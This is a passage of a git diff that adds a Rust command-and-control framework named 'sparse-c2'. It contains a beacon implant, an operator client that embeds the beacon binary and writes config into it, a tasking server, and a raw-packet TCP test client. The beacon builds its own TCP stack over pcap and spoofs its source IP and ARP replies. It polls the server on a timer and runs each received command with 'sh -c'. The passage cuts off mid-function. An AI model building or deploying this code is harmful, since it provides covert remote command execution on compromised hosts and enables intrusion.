socket.remote_last_win = packet.window(); + socket.remote_seq_no += 1; + + socket.state = TcpState::CloseWait; + let _ = send_state_changed.send(TcpState::CloseWait).await; + + let ackbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + socket.local_seq_no += 1; + + let _ = send_state_changed.send(TcpState::Closed).await; + + let finbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + Ok((vec![(ackbuilder, vec![]), (finbuilder, vec![])], None)) + } + (TcpState::Established, Some(peer)) if packet.ack() => { + log::debug!("received packet from server",); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_last_win = packet.window(); + socket.remote_seq_no += (packet.data().len() & 0xFFFFFFFF) as u32; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + if !packet.data().is_empty() { + log::debug!("received data: {:?}", packet.data()); + } + + Ok(( + vec![(tcppacketbuilder, vec![])], + Some(packet.data().to_owned()), + )) + } + (TcpState::FinWait1, _) if packet.ack() => { + socket.state = TcpState::FinWait2; + let _ = send_state_changed.send(TcpState::FinWait2).await; + + Ok((vec![], None)) + } + (TcpState::FinWait2, Some(peer)) if packet.fin() => { + socket.state = TcpState::Closed; + let _ = send_state_changed.send(TcpState::Closed).await; + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_seq_no = packet.seqnumber() + 1; + socket.remote_last_win = packet.window(); + socket.local_seq_no += 1; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + Ok((vec![(tcppacketbuilder, vec![])], None)) + } + _ => Ok((vec![], None)), + } +} + +fn resp_tcp(incoming: &TCPPkt<'_>) -> TCPPacketBuilder { + TCPPacketBuilder::default() + .srcport(incoming.dstport()) + .dstport(incoming.srcport()) +} + +fn seq_tcp(socket: &TcpSocket, mut builder: TCPPacketBuilder) -> TCPPacketBuilder { + builder +} + +fn recv_data(socket: &mut TcpSocket, data: &mut [u8]) -> anyhow::Result { + let (mut prod, mut cons) = socket.tx_buffer.split_ref(); + + let bytes_read = cons.pop_slice(data); + socket.remote_seq_no += (bytes_read & 0xFFFFFFFF) as u32; + + Ok(bytes_read) +} + +fn send_data( + socket: &mut TcpSocket, + data: Vec, +) -> anyhow::Result)>> { + let (mut prod, cons) = socket.tx_buffer.split_ref(); + + if cons.is_empty() { + _ = prod.push_iter(&mut data.into_iter()); + + Ok(vec![]) + } else { + _ = prod.push_iter(&mut data.into_iter()); + Ok(vec![]) + } +} + +fn close_connection(socket: &mut TcpSocket) -> anyhow::Result { + socket.state = TcpState::FinWait1; + + let peer = socket + .peer_info + .as_ref() + .context("no connection to close")?; + + Ok(TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .fin(true) + .ack(true) + .window(512) + .acknumber( + socket + .local_rx_last_ack + .context("information from synchronizing missing")?, + ) + .seqnumber(socket.local_seq_no) + .build(peer.local_addr, peer.remote_addr, vec![], None)) +} + +struct TcpSocketHandle { + state_changed: mpsc::Receiver, + send_channel: mpsc::Sender>, + close: mpsc::Sender<()>, + start_connect: mpsc::Sender<(Ipv4Addr, u16)>, + receiver_channel: mpsc::Receiver>, +} + +async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) { + loop { + sleep(Duration::from_secs(conf.sleep_secs.into())).await; + + let _ = socket_handle + .start_connect + .send((conf.target_ip, conf.target_port)) + .await; + + loop { + let state = socket_handle.state_changed.recv().await; + match state { + Some(TcpState::Established) => break, + _ => {} + } + } + + log::debug!("Connected to server!"); + + match socket_handle.receiver_channel.recv().await { + Some(bytes) => { + log::debug!("received a command!"); + match serde_json::from_slice::(&bytes) { + Ok(BeaconCommand::Command(cmd)) => { + log::info!("running command: {}", cmd.command); + let _ = Command::new("sh") + .arg("-c") + .arg(cmd.command) + .stdout(Stdio::inherit()) + .output() + .await; + } + Ok(BeaconCommand::Noop) => {} + Err(e) => { + log::error!("could not parse command from server {e:?}"); + } + } + } + None => { + log::error!("could not get packets from server") + } + } + + log::debug!("Done getting data"); + + loop { + let state = socket_handle.state_changed.recv().await; + log::debug!("got state: {state:?}"); + match state { + Some(TcpState::Closed) => break, + _ => {} + } + } + + log::debug!("Finished connection!"); + } +} + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + simple_logger::SimpleLogger::new() + .with_level(log::LevelFilter::Info) + .with_module_level("sparse_c2_beacon", log::LevelFilter::Info) + .init()?; + + let conf_raw = catconf::read_from_exe(sparse_c2_messages::CONF_SEPARATOR, 4096)?; + let conf: sparse_c2_messages::BeaconOptions = serde_json::from_slice(&conf_raw)?; + + let ip = conf.target_ip; + + let (ifname, _, srcip, src_mac, dst_mac, _) = { + let socket = netlink::Socket::new()?; + + let routes = socket.get_routes()?; + let neighs = socket.get_neigh()?; + let links = socket.get_links()?; + let addrs = socket.get_addrs()?; + + route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip) + .ok_or(anyhow!("unable to find a route to the IP"))? + }; + + let mut socket = TcpSocket::default(); + let mut interface = pcap_sys::Interface::::new(&ifname)?; + + let srcip = conf.source_ip; + + // let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93]; + + interface.set_buffer_size(8192)?; + interface.set_non_blocking(true)?; + interface.set_promisc(false)?; + interface.set_timeout(10)?; + + let interface = interface.activate()?; + + macro_rules! format_packet { + ($tcp_packet:expr) => {{ + let ippkt = IPv4Packet::construct(srcip, ip, &Layer4Packet::TCP($tcp_packet)); + EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ippkt)) + }}; + } + + let (send_state_changed, mut receive_state_changed) = mpsc::channel(64); + let (port, packet) = connect( + &mut socket, + ip, + conf.target_port, + srcip, + &send_state_changed, + ) + .await; + _ = receive_state_changed.recv().await; + + interface.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?; + + if interface.datalink() != pcap_sys::consts::DLT_EN10MB { + bail!("interface does not support ethernet"); + } + + let mut packets = interface.stream()?; + + packets.sendpacket(format_packet!(packet).pkt())?; + + let (send_channel, mut send_packet) = mpsc::channel(1024); + let (receive_packet, receiver_channel) = mpsc::channel(1024); + let (send_state_changed, state_changed) = mpsc::channel(1024); + let (close, mut recv_close) = mpsc::channel(16); + let (start_connect, mut handle_connect) = mpsc::channel(16); + + let socket_handle = TcpSocketHandle { + state_changed, + receiver_channel, + send_channel, + close, + start_connect, + }; + + task::spawn(async move { + use_socket(conf, socket_handle).await; + }); + + let mut packet_queue = VecDeque::new(); + + loop { + let deadline = Instant::now() + + socket + .retransmit_timeout + .unwrap_or_else(|| Duration::from_millis(10)); + + tokio::select! { + _ = sleep_until(deadline.into()) => { + let Ok(Some((b, d))) = process_timeout(&mut socket) else { continue; }; + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + }, + Some(Ok(bytes)) = packets.next() => { + let pkt = bytes.pkt(); + + match pkt.get_layer3_pkt() { + Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) => { + let Ok(Layer4Pkt::TCP(tcp_pkt)) = ip_pkt.get_layer4_packet() else { continue; }; + + if !socket_accepts_packet(&socket, &ip_pkt, &tcp_pkt) { + continue; + } + + let Ok((to_send, received)) = process_packet(&mut socket, tcp_pkt, &send_state_changed).await else { continue; }; + + if let Some(received) = received { + _ = receive_packet.send(received).await; + } + + for (b, d) in to_send { + log::trace!("adding packet to send: {b:?}"); + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + } + }, + Ok(Layer3Pkt::ARP(arp)) => { + if arp.opcode() != 1 || arp.plen() != 4 || arp.hwlen() != 6 { + continue; + } + + let senderip: [u8; 4] = arp.srcprotoaddr().try_into().unwrap(); + let sendermac: &[u8] = arp.srchwaddr(); + let queryip: [u8; 4] = arp.targetprotoaddr().try_into().unwrap(); + let queryip: Ipv4Addr = queryip.into(); + + if queryip != srcip { + continue; + } + + let response = ARPPacket::construct(ARPMode::Reply, ARPProto::IPv4, &src_mac, &sendermac, &queryip.octets(), &senderip); + let resp2 = EthernetPacket::construct(src_mac, sendermac.try_into().unwrap(), &Layer3Packet::ARP(response)); + log::trace!("adding packet to send: ARP"); + packet_queue.push_back(resp2); + }, + _ => continue + }; + }, + Some((remote_addr, remote_port)) = handle_connect.recv() => { + match socket.state { + TcpState::Established | TcpState::SynSent => { + send_state_changed.send(socket.state).await; + } + _ => { + let (port, packet) = connect( + &mut socket, + ip, + remote_port, + srcip, + &send_state_changed, + ) + .await; + + packets.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?; + + packets.sendpacket(format_packet!(packet).pkt())?; + } + } + }, + Some(()) = recv_close.recv() => { + log::trace!("adding packet to send: TCP/IP close"); + let Ok(to_send) = close_connection(&mut socket) else { continue; }; + packet_queue.push_back(format_packet!(to_send)); + }, + Some(to_send) = send_packet.recv() => { + log::trace!("adding packet to send: TCP/IP message send"); + match send_data(&mut socket, to_send) { + Ok(pkts) => { + for (b, d) in pkts { + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + } + } + _ => continue + } + }, + else => { continue; } + } + + if let Some(packet) = packet_queue.pop_front() { + log::trace!("sending packet now ({packet:?})"); + _ = packets.sendpacket(packet.pkt()); + } + } +} diff --git a/sparse-c2/sparse-c2-client/Cargo.toml b/sparse-c2/sparse-c2-client/Cargo.toml new file mode 100644 index 0000000..ce50a45 --- /dev/null +++ b/sparse-c2/sparse-c2-client/Cargo.toml @@ -0,0 +1,13 @@ +[package] +name = "sparse-c2-client" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +anyhow = "1.0.75" +serde_json = "1.0.108" +sparse-c2-messages = { path = "../sparse-c2-messages" } +structopt = "0.3.26" +tokio = { version = "1.34.0", features = ["full"] } diff --git a/sparse-c2/sparse-c2-client/src/main.rs b/sparse-c2/sparse-c2-client/src/main.rs new file mode 100644 index 0000000..3526f3c --- /dev/null +++ b/sparse-c2/sparse-c2-client/src/main.rs @@ -0,0 +1,182 @@ +use std::{ + self, + io::{self, Write}, + net::{Ipv4Addr, SocketAddr}, +}; + +use structopt::StructOpt; +use tokio::{ + io::{AsyncReadExt, AsyncWriteExt}, + net::TcpStream, +}; + +use sparse_c2_messages::{BeaconId, BeaconOptions, ClientCommand, ClientResponse, CONF_SEPARATOR}; + +#[cfg(debug_assertions)] +const BEACON: &'static [u8] = include_bytes!("../../../target/debug/sparse-c2-beacon"); +#[cfg(not(debug_assertions))] +const BEACON: &'static [u8] = include_bytes!("../../../target/release/sparse-c2-beacon"); + +#[derive(StructOpt)] +enum Command { + Generate { + #[structopt(short = "i", long)] + target_ip: Ipv4Addr, + + #[structopt(short = "p", long)] + target_port: u16, + + #[structopt(short = "o", long)] + source_ip: Ipv4Addr, + + #[structopt(short = "s", long)] + sleep_secs: u32, + + #[structopt(short = "n", long)] + name: String, + }, +} + +#[derive(StructOpt)] +struct Options { + #[structopt(long, short)] + address: SocketAddr, + + #[structopt(subcommand)] + command: Option, +} + +async fn list_state(client: &mut TcpStream) -> anyhow::Result<()> { + let cmd = serde_json::to_vec(&ClientCommand::GetState)?; + + client.write(&cmd).await?; + + let mut buf = [0u8; 8192]; + let len = client.read_u32().await? as usize; + client.read(&mut buf[..len]).await?; + + let ClientResponse::StateUpdate(beacons, commands) = serde_json::from_slice(&buf[..len])?; + + println!("Commands issued:"); + for command in commands { + match command.beacon_id { + Some(beacon) => println!( + "\t[id {}] (targets: {}): {}", + command.command_id.0, beacon.0, command.command + ), + None => println!( + "\t[id {}] (targets: all): {}", + command.command_id.0, command.command + ), + } + } + + println!("\nBeacons:"); + for beacon in beacons { + print!("\t[id {}] (listening on: {}) ", beacon.id.0, beacon.port); + + match beacon.last_connection { + Some(ci) => print!("last checked in {ci}; "), + None => print!("has not checked in; "), + }; + + if beacon.done_commands.is_empty() { + println!("no commands executed"); + } else { + println!("{} commands executed", beacon.done_commands.len()); + for cmd in beacon.done_commands { + println!("\t\t[id {}] executed at {}", cmd.0 .0, cmd.1); + } + } + } + + Ok(()) +} + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + let options = Options::from_args(); + + let mut client = TcpStream::connect(options.address).await?; + + match &options.command { + Some(Command::Generate { + target_ip, + target_port, + source_ip, + sleep_secs, + name, + }) => { + let mut file = tokio::fs::OpenOptions::default() + .write(true) + .create(true) + .mode(0o755) + .open(name) + .await?; + + file.write_all(BEACON).await?; + file.write_all(CONF_SEPARATOR).await?; + + let conf = serde_json::to_vec(&BeaconOptions { + sleep_secs: *sleep_secs, + target_ip: *target_ip, + source_ip: *source_ip, + target_port: *target_port, + })?; + file.write_all(&conf).await?; + + let listen = + serde_json::to_vec(&ClientCommand::ListenFor(name.to_string(), *target_port))?; + + client.write_all(&listen).await?; + } + None => { + let stdin = io::stdin(); + let mut stdout = io::stdout(); + let mut selected_beacon: Option = None; + + loop { + let mut buffer = String::new(); + match selected_beacon { + Some(ref bid) => print!("{} > ", bid.0), + None => print!("> "), + }; + stdout.flush()?; + stdin.read_line(&mut buffer)?; + + let mut items = buffer.trim().split(' '); + let cmd = items.next(); + + match cmd { + None | Some("") => { + eprintln!("Please enter a command!") + } + Some("list") => { + list_state(&mut client).await?; + } + Some("select") => { + let beacon = items.next(); + selected_beacon = beacon.map(ToOwned::to_owned).map(BeaconId); + } + Some("cmd") => { + let parts = items.collect::>(); + let cmd = parts.join(" "); + + let cmd = serde_json::to_vec(&ClientCommand::SendCommand( + selected_beacon.clone(), + cmd, + ))?; + + client.write(&cmd).await?; + let _ = client.read_u32().await?; + } + Some(other) => { + eprintln!("Unknown command: {other}"); + } + } + } + } + } + + Ok(()) +} diff --git a/sparse-c2/sparse-c2-messages/Cargo.toml b/sparse-c2/sparse-c2-messages/Cargo.toml new file mode 100644 index 0000000..a5f0a1a --- /dev/null +++ b/sparse-c2/sparse-c2-messages/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "sparse-c2-messages" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +chrono = { version = "0.4.31", features = ["serde"] } +serde = { version = "1.0.193", features = ["derive"] } diff --git a/sparse-c2/sparse-c2-messages/src/lib.rs b/sparse-c2/sparse-c2-messages/src/lib.rs new file mode 100644 index 0000000..e7be1b6 --- /dev/null +++ b/sparse-c2/sparse-c2-messages/src/lib.rs @@ -0,0 +1,55 @@ +use std::net::Ipv4Addr; + +use chrono::prelude::*; +use serde::{Deserialize, Serialize}; + +pub const CONF_SEPARATOR: &'static [u8] = b"3ce6b7d3741941cbb88756c52ea8afdff45989fc440d47f295f77e068d3e19d4693c007b767b476cac7080c5cfb0bb63"; +pub const CLIENT_PORT: u16 = 2034; + +#[derive(Deserialize, Serialize, PartialEq, Eq, Clone)] +pub struct BeaconId(pub String); + +#[derive(Deserialize, Serialize, PartialEq, Eq, Clone, Copy)] +pub struct CommandId(pub u32); + +#[derive(Deserialize, Serialize)] +pub struct BeaconOptions { + pub target_ip: Ipv4Addr, + pub target_port: u16, + pub source_ip: Ipv4Addr, + pub sleep_secs: u32, +} + +#[derive(Deserialize, Serialize, Clone)] +pub struct Command { + pub beacon_id: Option, + pub command_id: CommandId, + pub command: String, +} + +#[derive(Deserialize, Serialize, Clone)] +pub struct BeaconInfo { + pub id: BeaconId, + pub port: u16, + pub last_connection: Option>, + pub done_commands: Vec<(CommandId, DateTime)>, +} + +#[derive(Deserialize, Serialize)] +pub enum BeaconCommand { + Command(Command), + Noop, +} + +#[derive(Deserialize, Serialize)] +pub enum ClientCommand { + GetState, + ListenFor(String, u16), + Stop(String), + SendCommand(Option, String), +} + +#[derive(Deserialize, Serialize)] +pub enum ClientResponse { + StateUpdate(Vec, Vec), +} diff --git a/sparse-c2/sparse-c2-server/Cargo.toml b/sparse-c2/sparse-c2-server/Cargo.toml new file mode 100644 index 0000000..52d32a1 --- /dev/null +++ b/sparse-c2/sparse-c2-server/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "sparse-c2-server" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +anyhow = "1.0.75" +chrono = "0.4.31" +log = "0.4.20" +nix = "0.27.1" +serde_json = "1.0.108" +simple_logger = "4.3.0" +sparse-c2-messages = { path = "../sparse-c2-messages" } +tokio = { version = "1.34.0", features = ["full"] } diff --git a/sparse-c2/sparse-c2-server/src/main.rs b/sparse-c2/sparse-c2-server/src/main.rs new file mode 100644 index 0000000..b42dfea --- /dev/null +++ b/sparse-c2/sparse-c2-server/src/main.rs @@ -0,0 +1,205 @@ +use std::{ + net::Ipv4Addr, + os::fd::AsRawFd, + sync::{ + atomic::{AtomicU32, Ordering}, + Arc, Mutex, + }, +}; + +use nix::libc::{ioctl, TIOCOUTQ}; +use tokio::{ + io::{AsyncReadExt, AsyncWriteExt}, + net::{TcpListener, TcpStream}, + task::yield_now, +}; + +use sparse_c2_messages::{ + BeaconCommand, BeaconId, BeaconInfo, ClientCommand, ClientResponse, Command, CommandId, + CLIENT_PORT, +}; + +async fn beacon_accept_task( + beacon: Arc>, + commands: Arc>>, +) -> anyhow::Result<()> { + let port = { + let beacon = beacon.lock().unwrap(); + beacon.port + }; + let socket = TcpListener::bind(format!("0.0.0.0:{port}")).await?; + + loop { + let (mut client, _) = socket.accept().await?; + + let commands_to_send: Vec<_> = { + let beacon = beacon.lock().unwrap(); + let commands = commands.lock().unwrap(); + commands + .iter() + .filter(|comm| { + (comm.beacon_id.is_none() || comm.beacon_id.as_ref() == Some(&beacon.id)) + && !beacon + .done_commands + .iter() + .any(|done_comm| done_comm.0 == comm.command_id) + }) + .map(Clone::clone) + .collect() + }; + + { + let mut beacon = beacon.lock().unwrap(); + log::info!("Beacon {} checking in", beacon.id.0); + beacon.last_connection = Some(chrono::Utc::now()); + } + + let Some(ref command_to_send) = commands_to_send.get(0) else { + let Ok(buffer) = serde_json::to_vec(&BeaconCommand::Noop) else { + continue; + }; + + let _ = client.write_all(&buffer).await; + + let mut res = 0i16; + unsafe { + ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res); + } + while res != 0 { + yield_now().await; + unsafe { + ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res); + } + } + + continue; + }; + + let Ok(buffer) = serde_json::to_vec(&BeaconCommand::Command((*command_to_send).clone())) + else { + continue; + }; + let _ = client.write_all(&buffer).await; + + let mut res = 0i16; + unsafe { + ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res); + } + while res != 0 { + yield_now().await; + unsafe { + ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res); + } + } + + { + let mut beacon = beacon.lock().unwrap(); + beacon + .done_commands + .push((command_to_send.command_id, chrono::Utc::now())); + } + } +} + +async fn handle_client( + command_id: Arc, + mut client: TcpStream, + beacons: Arc>>>>, + commands: Arc>>, +) -> anyhow::Result<()> { + loop { + let mut buffer = [0u8; 1024]; + let len = client.read(&mut buffer[..]).await?; + let Ok(cmd) = serde_json::from_slice::(&buffer[..len]) else { + continue; + }; + + match cmd { + ClientCommand::GetState => { + let beacons = { + let beacons = beacons.lock().unwrap(); + beacons + .iter() + .map(|beacon| beacon.lock().unwrap().clone()) + .collect() + }; + let commands = { + let commands = commands.lock().unwrap(); + commands.clone() + }; + let res = serde_json::to_vec(&ClientResponse::StateUpdate(beacons, commands))?; + client.write_u32(res.len() as u32).await?; + client.write(&res).await?; + } + ClientCommand::ListenFor(id, port) => { + let beacon = Arc::new(Mutex::new(BeaconInfo { + id: BeaconId(id), + port, + last_connection: None, + done_commands: vec![], + })); + + { + let mut beacons = beacons.lock().unwrap(); + beacons.push(Arc::clone(&beacon)); + } + + let commands = Arc::clone(&commands); + + tokio::spawn(async move { + if let Err(e) = beacon_accept_task(beacon, commands).await { + log::error!("could not handle beacon listener: {e:?}"); + } + }); + + client.write_u32(0).await?; + } + ClientCommand::SendCommand(id, command) => { + { + let mut commands = commands.lock().unwrap(); + let command_id = CommandId(command_id.fetch_add(1, Ordering::SeqCst)); + + commands.push(Command { + beacon_id: id, + command_id, + command, + }); + } + + client.write_u32(0).await?; + } + ClientCommand::Stop(_) => { + client.write_u32(0).await?; + } + } + } +} + +#[tokio::main(flavor = "current_thread")] +async fn main() -> anyhow::Result<()> { + simple_logger::SimpleLogger::new() + .with_level(log::LevelFilter::Trace) + .with_module_level("tcp_test", log::LevelFilter::Trace) + .init()?; + + let commands = Arc::new(Mutex::new(vec![])); + let beacons = Arc::new(Mutex::new(vec![])); + + let socket = TcpListener::bind(format!("0.0.0.0:{CLIENT_PORT}")).await?; + + let command_id = Arc::new(AtomicU32::from(0)); + + loop { + let (client, _) = socket.accept().await?; + + let beacons = Arc::clone(&beacons); + let commands = Arc::clone(&commands); + let command_id = Arc::clone(&command_id); + + tokio::spawn(async { + if let Err(e) = handle_client(command_id, client, beacons, commands).await { + log::error!("error handling client {e:?}"); + } + }); + } +} diff --git a/tcp-test/client/Cargo.toml b/tcp-test/client/Cargo.toml new file mode 100644 index 0000000..599d410 --- /dev/null +++ b/tcp-test/client/Cargo.toml @@ -0,0 +1,20 @@ +[package] +name = "tcp-test" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +pcap-sys = { path = "../../pcap-sys" } +packets = { path = "../../packets" } +nl-sys = { path = "../../nl-sys" } +rand = "0.8.5" +tokio = { version = "1.32.0", features = ["full"] } +anyhow = "1.0.75" +tokio-stream = { version = "0.1.14", features = ["full"] } +#smoltcp = { version = "0.10", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation", "log", "verbose"] } +libc = "0.2.148" +log = { version = "0.4.20", features = [ "kv_unstable" ] } +simple_logger = "4.2.0" +ringbuf = "0.3.3" diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs new file mode 100644 index 0000000..dc9a021 --- /dev/null +++ b/tcp-test/client/src/main.rs @@ -0,0 +1,521 @@ +use std::{ + collections::VecDeque, + mem::MaybeUninit, + net::{Ipv4Addr, SocketAddr}, + time::{Duration, Instant}, +}; + +use anyhow::{anyhow, bail, Context}; +use ringbuf::LocalRb; +use tokio::{sync::mpsc, task, time::sleep_until}; +use tokio_stream::StreamExt; + +use nl_sys::{netlink, route}; + +use packets::{ + self, ARPMode, ARPPacket, ARPProto, EthernetPacket, IPv4Packet, IPv4Pkt, Layer3Packet, + Layer3Pkt, Layer4Packet, Layer4Pkt, TCPPacket, TCPPacketBuilder, TCPPkt, +}; +use pcap_sys; + +struct PeerInfo { + remote_addr: Ipv4Addr, + remote_port: u16, + local_addr: Ipv4Addr, + local_port: u16, +} + +enum Timeout { + Idle { heartbeat: Option }, + Retransmit {}, +} + +#[derive(Default)] +struct TcpSocket { + tx_buffer: LocalRb; 65536]>, + rx_buffer: LocalRb; 65536]>, + first_ack: u32, + first_rack: u32, + local_seq_no: u32, + remote_seq_no: u32, + remote_last_ack: Option, + remote_last_win: u16, + local_rx_last_seq: Option, + local_rx_last_ack: Option, + state: TcpState, + peer_info: Option, + retransmit_timeout: Option, + last_packet_received: Option, +} + +impl TcpSocket {} + +#[derive(Default)] +enum TcpState { + Listen, + SynSent, + SynReceived, + Established, + FinWait1, + FinWait2, + CloseWait, + Closing, + LastAck, + TimeWait, + #[default] + Closed, +} + +enum TcpOptions { + EndOfList, + NoOp, + MaxSegmentSize(u16), +} + +impl TcpOptions { + fn get_bytes(&self) -> Vec { + match self { + Self::EndOfList => vec![0x00], + Self::NoOp => vec![0x01], + Self::MaxSegmentSize(size) => [&[0x02, 0x04][..], &size.to_be_bytes()].concat(), + } + } +} + +fn socket_accepts_packet(socket: &TcpSocket, ip: &IPv4Pkt<'_>, tcp: &TCPPkt<'_>) -> bool { + if let Some(peer) = &socket.peer_info { + peer.local_addr == ip.dest_ip() + && peer.remote_addr == ip.source_ip() + && peer.local_port == tcp.dstport() + && peer.remote_port == tcp.srcport() + } else { + false + } +} + +async fn connect( + socket: &mut TcpSocket, + remote_addr: Ipv4Addr, + remote_port: u16, + local_addr: Ipv4Addr, + send_state_changed: &mpsc::Sender, +) -> (u16, TCPPacket) { + socket.state = TcpState::SynSent; + let local_port: u16 = loop { + let port = rand::random(); + if port > 40000 { + break port; + } + }; + let _ = send_state_changed.send(TcpState::SynSent).await; + socket.peer_info = Some(PeerInfo { + remote_addr, + remote_port, + local_addr, + local_port, + }); + + socket.local_seq_no = rand::random(); + socket.first_ack = socket.local_seq_no; + + let packet = TCPPacketBuilder::default() + .srcport(local_port) + .dstport(remote_port) + .syn(true) + .window(64240) + .seqnumber(socket.local_seq_no) + //.options([TcpOptions::MaxSegmentSize(64240).get_bytes()].concat()) + .build(local_addr, remote_addr, vec![], None); + + (local_port, packet) +} + +fn process_timeout(socket: &mut TcpSocket) -> anyhow::Result)>> { + Ok(None) +} + +async fn process_packet( + socket: &mut TcpSocket, + packet: TCPPkt<'_>, + send_state_changed: &mpsc::Sender, +) -> anyhow::Result<(Vec<(TCPPacketBuilder, Vec)>, Option>)> { + match (&socket.state, &socket.peer_info) { + (TcpState::SynSent, Some(peer)) if packet.ack() && packet.syn() => { + log::debug!("established connection with peer"); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_seq_no = packet.seqnumber() + 1; + socket.remote_last_win = packet.window(); + socket.first_rack = packet.seqnumber(); + socket.local_seq_no += 1; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + socket.state = TcpState::Established; + let _ = send_state_changed.send(TcpState::Established).await; + + Ok((vec![(tcppacketbuilder, vec![])], None)) + } + (TcpState::Established, Some(peer)) if packet.fin() => { + log::debug!("Received fin!"); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_last_win = packet.window(); + socket.remote_seq_no += 1; + + socket.state = TcpState::CloseWait; + let _ = send_state_changed.send(TcpState::CloseWait).await; + + let ackbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + socket.local_seq_no += 1; + + let finbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + Ok((vec![(ackbuilder, vec![]), (finbuilder, vec![])], None)) + } + (TcpState::Established, Some(peer)) if packet.ack() => { + log::debug!("received packet from server",); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_last_win = packet.window(); + socket.remote_seq_no += (packet.data().len() & 0xFFFFFFFF) as u32; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + if !packet.data().is_empty() { + log::debug!("received data: {:?}", packet.data()); + } + + Ok(( + vec![(tcppacketbuilder, vec![])], + match packet.data() { + [] => None, + da => Some(da.to_owned()), + }, + )) + } + (TcpState::FinWait1, _) if packet.ack() => { + socket.state = TcpState::FinWait2; + let _ = send_state_changed.send(TcpState::FinWait2).await; + + Ok((vec![], None)) + } + (TcpState::FinWait2, Some(peer)) if packet.fin() => { + socket.state = TcpState::Closed; + let _ = send_state_changed.send(TcpState::Closed).await; + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_seq_no = packet.seqnumber() + 1; + socket.remote_last_win = packet.window(); + socket.local_seq_no += 1; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + Ok((vec![(tcppacketbuilder, vec![])], None)) + } + _ => Ok((vec![], None)), + } +} + +fn resp_tcp(incoming: &TCPPkt<'_>) -> TCPPacketBuilder { + TCPPacketBuilder::default() + .srcport(incoming.dstport()) + .dstport(incoming.srcport()) +} + +fn seq_tcp(socket: &TcpSocket, mut builder: TCPPacketBuilder) -> TCPPacketBuilder { + builder +} + +fn recv_data(socket: &mut TcpSocket, data: &mut [u8]) -> anyhow::Result { + let (mut prod, mut cons) = socket.tx_buffer.split_ref(); + + let bytes_read = cons.pop_slice(data); + socket.remote_seq_no += (bytes_read & 0xFFFFFFFF) as u32; + + Ok(bytes_read) +} + +fn send_data( + socket: &mut TcpSocket, + data: Vec, +) -> anyhow::Result)>> { + let (mut prod, cons) = socket.tx_buffer.split_ref(); + + if cons.is_empty() { + _ = prod.push_iter(&mut data.into_iter()); + + Ok(vec![]) + } else { + _ = prod.push_iter(&mut data.into_iter()); + Ok(vec![]) + } +} + +fn close_connection(socket: &mut TcpSocket) -> anyhow::Result { + socket.state = TcpState::FinWait1; + + let peer = socket + .peer_info + .as_ref() + .context("no connection to close")?; + + Ok(TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + 